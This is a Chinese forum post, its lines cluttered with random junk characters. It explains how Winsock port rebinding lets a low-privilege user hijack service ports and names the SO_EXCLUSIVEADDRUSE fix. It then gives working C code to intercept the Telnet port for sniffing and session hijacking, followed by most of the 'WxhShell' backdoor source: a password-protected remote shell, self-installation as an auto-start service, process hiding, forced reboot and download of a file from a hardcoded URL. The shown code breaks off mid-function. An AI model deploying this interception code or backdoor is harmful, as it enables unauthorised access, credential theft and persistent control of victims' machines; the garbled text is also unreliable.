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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &miexSNeF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); en*d/>OVJ  
%rkk>m  
  saddr.sin_family = AF_INET; `ln1$  
D y-S98Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]J7Qgp)i  
9`Q<Yy"du  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $s5a G)?7  
^U[D4UM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :dI\z]Y(  
CC^E_jT  
  这意味着什么?意味着可以进行如下的攻击: @b#^ -  
k1 -~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Q"O4 b:8  
w ej[+y-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %A/_5;PZ/  
1|r,dE2k9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sTRJ:fR  
O) atNE   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;]sYf  
` `U^COD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m Lk(y*  
g'$tj&Vk:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bG F7Zh9  
qJ4T]FVN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `D$Jv N  
9W ^xlid6  
  #include ~|ss*`CT  
  #include I@#;nyAj"  
  #include Dnf*7)X  
  #include    LOy0hN-$b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )!BsF'uVQ  
  int main() SQ*k =4*r  
  { bi4f]^hQz  
  WORD wVersionRequested; A]0:8@k5  
  DWORD ret; *J|(jdu7  
  WSADATA wsaData; 8;14Q7,S  
  BOOL val; Z4hrn::  
  SOCKADDR_IN saddr; _nh[(F<hz  
  SOCKADDR_IN scaddr; yp.[HMRD  
  int err; v"& pQ  
  SOCKET s; j=?'4sF  
  SOCKET sc; SMH<'F7i  
  int caddsize; M=qb^~ l  
  HANDLE mt; 1 rs&74-  
  DWORD tid;   jnB~sbyA  
  wVersionRequested = MAKEWORD( 2, 2 ); EZ;"'4;W  
  err = WSAStartup( wVersionRequested, &wsaData ); :#k &\f-Y  
  if ( err != 0 ) { `o]g~AKX  
  printf("error!WSAStartup failed!\n"); #|GSQJ$F)`  
  return -1; nrm+z"7  
  } q#w8wH"  
  saddr.sin_family = AF_INET; 39wa|:I  
   Vwk#qgnX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %UUH"  
B.r4$:+jb2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ian[LbCWB  
  saddr.sin_port = htons(23); ~Nf})U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 66x?A0P  
  { v3d&*I  
  printf("error!socket failed!\n"); ".^VI2T  
  return -1; G7!W{;@I  
  } m %;D  
  val = TRUE; gKLyL]kAGz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &8.NT~"Gg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )a@k]#)Skm  
  { 5tjP6Z`!9`  
  printf("error!setsockopt failed!\n"); 9,j-V p!G  
  return -1; 8to8!(  
  } hpTDxh'?$C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n Ox4<Wk&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !q"W{P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {7TlN.(  
RrU BpqA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .#02 ngh  
  { ['8!qr  
  ret=GetLastError(); _@S`5;4x  
  printf("error!bind failed!\n"); xGTP;NT_H  
  return -1; ljl^ GFo  
  } @36u8pE  
  listen(s,2); z [`@}}Q  
  while(1) Zo1,1O  
  { ;XM{o:1Y[  
  caddsize = sizeof(scaddr); bR@p<;G|  
  //接受连接请求 =X.LA%Sf=u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z{&cuo.@<]  
  if(sc!=INVALID_SOCKET) T~Q JO0  
  { 24 1*!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @(r /dZc  
  if(mt==NULL)  hI9  
  { __mF ?m  
  printf("Thread Creat Failed!\n"); BIuK @$  
  break; \%UkSO\nO3  
  }  V#VN %{  
  } 7{&|;U  
  CloseHandle(mt); &0f5:M{P  
  } %v20~xW :o  
  closesocket(s); df7wN#kO+  
  WSACleanup(); N F)~W#  
  return 0; dOa%9[  
  }   jKt7M>P  
  DWORD WINAPI ClientThread(LPVOID lpParam) Eke5Nb  
  { 6Gf?m;  
  SOCKET ss = (SOCKET)lpParam; 6@DF  
  SOCKET sc; /Q,mJ.CnSR  
  unsigned char buf[4096]; J:V?EE,\-  
  SOCKADDR_IN saddr; jy-{~xdg[  
  long num; >/|q:b^2r  
  DWORD val; /SYw;<=  
  DWORD ret; @)J+,tg/7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M4as  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;!(<s,c#:  
  saddr.sin_family = AF_INET; *z@>!8?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j?'GZ d"B  
  saddr.sin_port = htons(23); 98^V4maR:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t!RiUZAo  
  { 5\z `-)  
  printf("error!socket failed!\n"); SdD6 ~LS  
  return -1; #%DE;  
  } -Uml_/rd_  
  val = 100; *}P~P$q%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m*JaXa  
  { g+z1  
  ret = GetLastError(); UX7t`l2R  
  return -1; |1j["u1  
  } 5oAK8I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | Bi!  
  { Jv^h\~*jH  
  ret = GetLastError(); O%bEB g  
  return -1; vN;mP d~g  
  } EFz&N\2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4EY)!?;  
  { !KUi\yQ1  
  printf("error!socket connect failed!\n"); #\=FO>  
  closesocket(sc); yqPdl1{Qr=  
  closesocket(ss); B {>7-0  
  return -1; ZHa"isl$e  
  } <Y}R#o1Z  
  while(1) wb0L.'jyR)  
  { 1y}Y9mlD.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {;2PL^i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Zu7)gf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kGl~GOB a  
  num = recv(ss,buf,4096,0); .[_L=_.  
  if(num>0) lnjXD oVb<  
  send(sc,buf,num,0); 5 sX+~Q  
  else if(num==0) vam;4vyu  
  break; 5aCgjA11  
  num = recv(sc,buf,4096,0); ?` ?)QE8  
  if(num>0)  094o'k  
  send(ss,buf,num,0); *WuID2cOI  
  else if(num==0) zolt$p  
  break; Z.Lc>7o  
  } E 7{U |\  
  closesocket(ss); DA\2rLs  
  closesocket(sc); j:v@pzTD  
  return 0 ; ZP(f3X@  
  } uLV#SQ=bZN  
`x*Pof!Io  
+{oG|r3L  
========================================================== U>Slc08N  
g%=z_  
下边附上一个代码,,WXhSHELL iUN Ib  
DW[N|-L  
========================================================== Vh4X%b$TV  
BI%$c~wS  
#include "stdafx.h" <J`0  
.:F%_dS D  
#include <stdio.h> %xI p5h]  
#include <string.h> p;>ec:z3M  
#include <windows.h> r97pOs#5:  
#include <winsock2.h> 2fL;-\!y(  
#include <winsvc.h> eceP0x  
#include <urlmon.h> fumm<:<CLO  
50S&m+4d+  
#pragma comment (lib, "Ws2_32.lib") _z|65H  
#pragma comment (lib, "urlmon.lib") C&(N I  
Tw-;7Ae  
#define MAX_USER   100 // 最大客户端连接数 ``hf=`We  
#define BUF_SOCK   200 // sock buffer ~x1$h#Cx'  
#define KEY_BUFF   255 // 输入 buffer !2f[}.6+  
.(cw>7e3D  
#define REBOOT     0   // 重启 R\!2l |_  
#define SHUTDOWN   1   // 关机 m+]K;}.}R  
Fj2BnM3#  
#define DEF_PORT   5000 // 监听端口 ,?^ p(w  
, s"^kFl  
#define REG_LEN     16   // 注册表键长度 N2;B-UF 7  
#define SVC_LEN     80   // NT服务名长度 \"P%`  C  
V2wb%;q  
// 从dll定义API M/"I2m   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s Z].8.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r7%I n^k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "ut39si  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z7fp#>uw  
I 7{T  
// wxhshell配置信息 #Lh;CSS  
struct WSCFG { *nkoPVpC  
  int ws_port;         // 监听端口 R {SF(g3  
  char ws_passstr[REG_LEN]; // 口令 inMA:x}cF1  
  int ws_autoins;       // 安装标记, 1=yes 0=no nksLWfpG?B  
  char ws_regname[REG_LEN]; // 注册表键名 -(;26\lE  
  char ws_svcname[REG_LEN]; // 服务名 KW pVw!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -&zZtDd F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rlOAo`hd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &w_j/nW^'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YJT&{jYi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~:s>aQ`!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G[uK-U  
MP Y[X[  
}; <L8'!q}  
TNe l/   
// default Wxhshell configuration P@V0Mi),  
struct WSCFG wscfg={DEF_PORT, ,is3&9  
    "xuhuanlingzhe", S%Uutj\/W  
    1, &5B'nk"  
    "Wxhshell", 2} /aFR  
    "Wxhshell", a%JuC2  
            "WxhShell Service", f<d`B]$(  
    "Wrsky Windows CmdShell Service", s<<ooycBrQ  
    "Please Input Your Password: ", ];[}:f  
  1, dO! kk"qn  
  "http://www.wrsky.com/wxhshell.exe", yEqps3%  
  "Wxhshell.exe" *av<E  
    }; E Nh l&J  
"jKY1* ?  
// 消息定义模块 -b9\=U[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @=}0`bE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SJn;{X>)q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [}E='m}u9+  
char *msg_ws_ext="\n\rExit."; /[ 5gX^A  
char *msg_ws_end="\n\rQuit."; On9A U:\  
char *msg_ws_boot="\n\rReboot..."; 6*78cg Io  
char *msg_ws_poff="\n\rShutdown..."; Rq'S>#e  
char *msg_ws_down="\n\rSave to "; PR#exm&  
nv|NQ Tk  
char *msg_ws_err="\n\rErr!"; 7rc0yB  
char *msg_ws_ok="\n\rOK!"; X9W@&zQ  
X!TpYUZ '  
char ExeFile[MAX_PATH]; 5H<m$K4z  
int nUser = 0; y}" O U  
HANDLE handles[MAX_USER]; J?"B%B5c  
int OsIsNt; {4<C_52t  
5y.WMNNv{  
SERVICE_STATUS       serviceStatus;  MzdV2.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; & p  
/|6N*>l)y  
// 函数声明 -:+|zF@f  
int Install(void); t6 "%3#s  
int Uninstall(void); r= `Jn6@  
int DownloadFile(char *sURL, SOCKET wsh); PbJ(:`u  
int Boot(int flag); w e//|fA<  
void HideProc(void); cJ= 6r :  
int GetOsVer(void); $f <(NM6?  
int Wxhshell(SOCKET wsl); ]nn98y+  
void TalkWithClient(void *cs); S%;O+eFYb  
int CmdShell(SOCKET sock); i &nSh ]KK  
int StartFromService(void); iy.p n  
int StartWxhshell(LPSTR lpCmdLine); G" qv z{*  
{L{o]Ii?g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _}Ac n$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HmGWht6R  
o q Xg  
// 数据结构和表定义 Ju@c~Xm  
SERVICE_TABLE_ENTRY DispatchTable[] = EHJ.T~X  
{ g*AWE,%=|  
{wscfg.ws_svcname, NTServiceMain}, *a M=Z+  
{NULL, NULL} ,q`\\d  
}; Xx~Bp+  
O m|_{  
// 自我安装 `KoV_2|  
int Install(void) "<N*"euH  
{ 8b& /k8i:  
  char svExeFile[MAX_PATH]; I{ C SH  
  HKEY key; DMr\ TN  
  strcpy(svExeFile,ExeFile); oWT3apGO  
n:?a$Ldgm  
// 如果是win9x系统,修改注册表设为自启动 Z"xvh81P  
if(!OsIsNt) { 2*& ^v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q 'yva  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A:%`wX}  
  RegCloseKey(key); rH Lm\3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &jJL"gq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6P l<'3&  
  RegCloseKey(key); MAR'y8I  
  return 0; Gx/Oi)&/  
    } ASA,{w]  
  } ~,Zc%s~|  
} +Mb.:_7'  
else { E<Y$>uKA  
GR_-9}jQP  
// 如果是NT以上系统,安装为系统服务 `4J$Et%S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K\Wkoi5  
if (schSCManager!=0) iOghb*aW  
{ Rr]H y^w  
  SC_HANDLE schService = CreateService tXs\R(?T  
  ( Se}c[|8  
  schSCManager, zY{A'<\O  
  wscfg.ws_svcname, jvL[ JI,b  
  wscfg.ws_svcdisp, ydA8wL  
  SERVICE_ALL_ACCESS, TF\C@4Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S9y}  
  SERVICE_AUTO_START, v@L;x [Q  
  SERVICE_ERROR_NORMAL, U?Zq6_M&  
  svExeFile, }o(-=lF  
  NULL, N:/D+L  
  NULL, kVMg 1I@  
  NULL, oLeq!K}re  
  NULL, Q Z  
  NULL *L^,|   
  ); n b?l TX~  
  if (schService!=0) .|70;  
  { |0b`fOS  
  CloseServiceHandle(schService); I+!0O  
  CloseServiceHandle(schSCManager); kgP0x-Ap  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +'HqgSPyb  
  strcat(svExeFile,wscfg.ws_svcname); XNkn|q2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UB@+c k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pz*3N  
  RegCloseKey(key); +I|vzz`ZVr  
  return 0; 2HA:"v8  
    } ^\=`edN0  
  } ^jZbo {  
  CloseServiceHandle(schSCManager); Ow,w$0(D  
} [RhO$c$[\  
} ea 'D td  
^}o2  
return 1; !l8PDjAE  
} Wd:uV  
dUZ ,m9u  
// 自我卸载 u&7[n_  
int Uninstall(void) f2`2,?  
{ VY4yS*y  
  HKEY key; sDlO#  
yvB.&<]No  
if(!OsIsNt) { Z@!+v 19^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nDxz~8  
  RegDeleteValue(key,wscfg.ws_regname); !_)[/q"  
  RegCloseKey(key); VpDbHAg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BW4J>{  
  RegDeleteValue(key,wscfg.ws_regname); iqWQ!r^  
  RegCloseKey(key); ggR.4&<  
  return 0; gjDHo$  
  } HIZe0%WPw  
} Kn1a>fLaJ_  
} E ~<JC"]  
else { rjYJs*#  
G_,jgg7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OQJ6e:BGt  
if (schSCManager!=0) -FaJ^CN~  
{ jQB9j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tyx_/pJT  
  if (schService!=0) H**Xu;/5@  
  { 2P0*NQ   
  if(DeleteService(schService)!=0) { [7Oe3=  
  CloseServiceHandle(schService); UP,c|  
  CloseServiceHandle(schSCManager); %7+qnH*;r  
  return 0; zK@@p+n_#.  
  } 37o; ;  
  CloseServiceHandle(schService); "^%cJAnLX  
  } jNk%OrP]  
  CloseServiceHandle(schSCManager); L4nYXW0y  
} wb l&  
} ZD{LXJ{Vm  
y}|s&4Sq  
return 1; S<Xf>-8w  
} }5"u[Z.  
"4{r6[dn  
// 从指定url下载文件 g}c~:p  
int DownloadFile(char *sURL, SOCKET wsh) aPL+=58r  
{ KbeC"mi  
  HRESULT hr; Qvhl4-XjZa  
char seps[]= "/"; ]c'A%:f<  
char *token; C?eH]hkZ3  
char *file; <Q3c[ Y  
char myURL[MAX_PATH]; .$vK&k  
char myFILE[MAX_PATH]; 7qS)c}Q\  
oUlVI*~ND  
strcpy(myURL,sURL); A*BeR0(  
  token=strtok(myURL,seps); Cw&KVw*  
  while(token!=NULL) H qx-;F~0  
  { xJ.M;SF4  
    file=token; utV_W&  
  token=strtok(NULL,seps); O:K2Y5R?B  
  } {)sdiE  
_H@DLhH|=  
GetCurrentDirectory(MAX_PATH,myFILE); GZIa 4A  
strcat(myFILE, "\\"); 7@W>E;go  
strcat(myFILE, file); H<+TR6k<  
  send(wsh,myFILE,strlen(myFILE),0); Xsa].  
send(wsh,"...",3,0); cw <l{A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3=oDQ&UFt  
  if(hr==S_OK) dSHDWu&  
return 0; G18b$z  
else TB31- ()  
return 1; La[V$+Y  
3ckclO\|>  
} `Urhy#LC  
FGzwhgy  
// 系统电源模块 0w7DsPdS  
int Boot(int flag) ?}Y]|c^W  
{ oQJtUP%  
  HANDLE hToken; pd$[8Rmj_  
  TOKEN_PRIVILEGES tkp; _lq`a\7e  
Tw<q,O  
  if(OsIsNt) { 6_B]MN!(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,PD QzJY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MF'JeM;H  
    tkp.PrivilegeCount = 1; 8 L Cb+^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kyV8K#}%8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "#g}ve,  
if(flag==REBOOT) { E!F^H^~$8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {oL>1h,%3?  
  return 0; {{!-Gr  
} Q+{n-? :  
else {  Nz-&MS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) );YDtGip J  
  return 0; 0> \sQ,T  
} eyxW 0}[  
  } #O&8A  
  else { Pg{J{gn  
if(flag==REBOOT) { m]&SNz=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \w8\1~#  
  return 0; 7d\QB (~  
} * v#o  
else { rvM{M/4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nJ;.Td  
  return 0; 4<v&S2Yq  
} -nwypu  
} qe\5m.k  
$/ ],tSm  
return 1; |uJ%5y#  
} Dha1/g1q  
 ~$J2g  
// win9x进程隐藏模块 ia? c0xL  
void HideProc(void) B)UZ`?>c  
{ w32y3~  
9- # R)4_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CvdN"k  
  if ( hKernel != NULL ) : rVnc =k  
  { cz$2R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T u'{&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :23P!^Y  
    FreeLibrary(hKernel); !5N.B|N t  
  } 5lum$5  
xyxy`qRA  
return; y B$x>Q'C(  
} n&!-9:0  
}QmqoCAE~m  
// 获取操作系统版本 (h `V+  
int GetOsVer(void) !n%j)`0M  
{ nr3==21Om4  
  OSVERSIONINFO winfo; `GLx#=Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1.>m@Slr>  
  GetVersionEx(&winfo); HbIF^LeY|R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Alq(QDs  
  return 1; @}ZVtrz  
  else LRF103nw  
  return 0; "Y.y:Vv;  
} OZ&o:/*HM  
GN>@ZdVG}#  
// 客户端句柄模块 H"F29Pu2  
int Wxhshell(SOCKET wsl) mp3s-YfRc  
{ #LNED)Vg  
  SOCKET wsh; e#q}F>/L  
  struct sockaddr_in client; P2nu;I_ &  
  DWORD myID; Yr|4Fl~U  
!Z6{9sKR=]  
  while(nUser<MAX_USER) o !7va"  
{ S8gs-gL#Og  
  int nSize=sizeof(client); d d;T-wa}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fB,_9K5i  
  if(wsh==INVALID_SOCKET) return 1; P'rb%W  
@%SQFu@FJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~QVH<`sn  
if(handles[nUser]==0) 6H|S;K+  
  closesocket(wsh); z?//rXuO  
else UCWBYC+  
  nUser++; Ir]\|t  
  } zW nR6*\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M3Kfd  
{GUF;V ^  
  return 0; 4GM6)"#d  
} DV{=n C  
?X;RLpEc|A  
// 关闭 socket [00m/fT6  
void CloseIt(SOCKET wsh) $od7;%  
{ %XTI-B/K  
closesocket(wsh); 2T`!v  
nUser--; yLcE X  
ExitThread(0); Xm&L B X  
} g,Y/M3>(  
Ap !lQ>p  
// 客户端请求句柄 w*Ihk)  
void TalkWithClient(void *cs) S tyfB  
{ .|=\z9_7S8  
jh$='Gn  
  SOCKET wsh=(SOCKET)cs; azU"G(6y?+  
  char pwd[SVC_LEN]; wNX]7wMX  
  char cmd[KEY_BUFF]; ?%kV?eu'  
char chr[1]; 8XbT`y  
int i,j; mV m Gg,  
jFb?b6b  
  while (nUser < MAX_USER) { mBC+6(5V  
YbLW/E\T  
if(wscfg.ws_passstr) { L=h'Qgk%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T 1t6p&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J^/p(  
  //ZeroMemory(pwd,KEY_BUFF); CQ2jP G*py  
      i=0; },[}$m %  
  while(i<SVC_LEN) { ^}C\zW  
jqkqZF  
  // 设置超时 8EEuv-aeo  
  fd_set FdRead; F5#YOck&,  
  struct timeval TimeOut; H:\k}*w  
  FD_ZERO(&FdRead); "h ^Z  
  FD_SET(wsh,&FdRead); aN=B]{!  
  TimeOut.tv_sec=8; Er[A X.3  
  TimeOut.tv_usec=0; J-4:H gx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b>$S<td  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !%>7Dw(kt  
bN88ua}k{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iR0y"Cii  
  pwd=chr[0]; O1kl70,`R  
  if(chr[0]==0xd || chr[0]==0xa) { ]{LjRSV  
  pwd=0; +^<](z  
  break; cGD(.=  
  } BPHW}F]X  
  i++; yppo6HGD  
    } $7uA%|\  
HorDNRyu  
  // 如果是非法用户,关闭 socket p<;0g9,1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #D|p2L$  
} |)G<,FJQE_  
Xry4 7a )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R FH0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { BHO/q3  
$mB;K]m  
while(1) { PxE3K-S)G  
Lh<).<S  
  ZeroMemory(cmd,KEY_BUFF); [1KuzCcK}  
bu"!jHPB  
      // 自动支持客户端 telnet标准   0|b>I!_"g  
  j=0; &VcV$8k  
  while(j<KEY_BUFF) { 1i ] ^{;]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FCn_^l)EA  
  cmd[j]=chr[0]; Tb-F]lg$  
  if(chr[0]==0xa || chr[0]==0xd) { -`t^7pr  
  cmd[j]=0; snikn&  
  break; i 3SHg\~Z  
  } ;S*}WqP,  
  j++; m#F`] {  
    } &t-kpA|EG  
---N9I  
  // 下载文件  f V(J|  
  if(strstr(cmd,"http://")) { YnP5i#"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cs'{5!i]  
  if(DownloadFile(cmd,wsh)) wa3}SB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM'Jp?  
  else  rXU\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qw)c$93  
  } j8`BdKg  
  else { YrKWA  
+2j AC r  
    switch(cmd[0]) { $tS}LN_!  
  9&ids!W~yx  
  // 帮助 !? gKqx'T$  
  case '?': { k# rBB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ` ~`k_7t.  
    break; IaXeRq?<  
  } 6JQ'Ik;$wX  
  // 安装 O7IJ%_A&  
  case 'i': { 8&aq/4:q0  
    if(Install()) k@:%:Sj 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K96<M);:g  
    else (!N|Kl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JO< wU  
    break; ?I@W:#>o  
    } ia 73?*mXT  
  // 卸载 3%ZOKb"D*  
  case 'r': { *=c1d o%F  
    if(Uninstall()) RdML3E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;d9QAN&0}  
    else D5HZ2cz|a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "FKOaQ%IH  
    break; @{O`E^}-D  
    } _#h_:  
  // 显示 wxhshell 所在路径 6i~WcAs  
  case 'p': { Ue~CwFOc  
    char svExeFile[MAX_PATH]; >oe]$r  
    strcpy(svExeFile,"\n\r"); ^a1^\X.~  
      strcat(svExeFile,ExeFile); ^ovR7+V  
        send(wsh,svExeFile,strlen(svExeFile),0); H'hpEw G  
    break; zI<<Q2  
    } 8pgEix/M5o  
  // 重启 y;H-m>*%  
  case 'b': { iW /}#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ox (%5c)b|  
    if(Boot(REBOOT)) &IB|rw'9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jX2}  
    else { <3hRyG@vB  
    closesocket(wsh); igR";OQk  
    ExitThread(0); %-0t?/>  
    } )%@J=&G8TT  
    break; /RC7"QzL  
    } w: Kl6"c  
  // 关机 q#=(e:aCb  
  case 'd': { 5N&?KA-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J~UuS+Ufv  
    if(Boot(SHUTDOWN)) Tyf`j,=  
